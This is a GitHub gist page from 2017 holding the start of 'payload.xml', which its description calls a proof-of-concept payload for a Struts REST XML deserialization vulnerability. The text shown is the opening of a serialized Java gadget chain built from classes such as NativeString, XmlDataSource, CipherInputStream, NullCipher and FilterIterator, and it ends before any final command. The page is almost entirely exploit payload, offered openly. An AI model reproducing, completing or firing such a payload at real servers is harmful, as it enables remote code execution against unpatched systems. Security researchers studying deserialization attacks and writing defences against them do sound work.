suqdiq suqdiq
suqdiq
/ payload.xml
Created
September 6, 2017 23:49
— forked from anonymous/payload.xml
PoC payload for lolstruts lolREST lolXML loldeserialization lolvulnerability [6th Sept 2017, as there'll be another tomorrow probably ffs]
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <jdk.nashorn.internal.objects.NativeString> | |
| <flags>0</flags> | |
| <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> | |
| <dataHandler> | |
| <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> | |
| <is class="javax.crypto.CipherInputStream"> | |
| <cipher class="javax.crypto.NullCipher"> | |
| <initialized>false</initialized> | |
| <opmode>0</opmode> | |
| <serviceIterator class="javax.imageio.spi.FilterIterator"> |